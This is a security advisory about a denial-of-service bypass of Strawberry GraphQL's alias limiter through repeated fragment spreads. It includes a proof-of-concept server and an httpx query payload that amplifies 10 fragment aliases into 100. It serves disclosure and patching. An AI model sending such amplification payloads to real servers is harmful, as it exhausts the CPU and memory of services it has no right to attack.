Strawberry GraphQL's Bypass of MaxAliasesLimiter via Fragment Spreads leading to GraphQL Alias Amplification
Summary
The MaxAliasesLimiter extension in Strawberry fails to account for the multiplicative/amplification effect of FragmentSpreadNode. While it correctly counts static aliases within the AST it does not consider how many times a fragments internal aliases are expanded during execution. this allows an attacker to bypass alias limits and force the server to resolve and render a significantly higher number of aliases than allowed, potentially leading to a dos via resource exhaustion.
Details
The current implementation of alias counting in strawberry/extensions/max_aliases.py uses a static approach
for selection in selection_set_owner.selection_set.selections:
if isinstance(selection, FieldNode) and selection.alias:
result += 1
if isinstance(selection, (FieldNode, InlineFragmentNode)) and ~~~:
result += count_fields_with_alias(selection)When a FragmentSpread is used multiple times, the actual number of aliases processed by the execution engine is
Total Aliases = query aliases + (num of spreads * aliases within fragment)
Because Strawberry only performs a static sum of the text, it misses this multiplication
PoC
server code
import strawberry
from fastapi import FastAPI
from strawberry.fastapi import GraphQLRouter
from strawberry.extensions import MaxAliasesLimiter
@strawberry.type
class User:
name: str = "GONA"
@strawberry.type
class Query:
@strawberry.field
def user(self) -> User:
return User()
# Limit is set to 20 aliases
schema = strawberry.Schema(
query=Query,
extensions=[MaxAliasesLimiter(max_alias_count=20)]
)
app = FastAPI()
app.include_router(GraphQLRouter(schema), prefix="/graphql")payloads
import httpx
payload = {
"query": """
fragment Amplification on User {
a1: name, a2: name, a3: name, a4: name, a5: name,
a6: name, a7: name, a8: name, a9: name, a10: name
}
query Bypass {
u1: user { ...Amplification }
u2: user { ...Amplification }
u3: user { ...Amplification }
u4: user { ...Amplification }
u5: user { ...Amplification }
u6: user { ...Amplification }
u7: user { ...Amplification }
u8: user { ...Amplification }
u9: user { ...Amplification }
u10: user { ...Amplification }
}
"""
}
response = httpx.post("http://127.0.0.1:8000/graphql", json=payload)
print(f"Status: {response.status_code}")
# The response will contain 100 'a' aliases nested within 10 'u' aliases.
print(response.json())Impact
An attacker can bypass security constraints to cause Application-level DOS. By staying just under the max_alias_count limit in the AST an attacker can trigger thousands of actual alias resolutions on the backend consuming excessive CPU and memory
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| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | strawberry-graphql | >= 0.172.0, < 0.315.7 | 0.315.7 |
Odnośniki
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L- Słabość (CWE)
CWE-400- Platforma
- Python (PyPI)
- Paczka
strawberry-graphql- Ujawniono
- 04.06.2026
- Aktualizacja
- 11.10.2026 14:17
Źródła i licencje
OSV / GitHub Advisory Database - PYSEC-2026-2284 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-fr49-mhgj-crfc - CC BY 4.0
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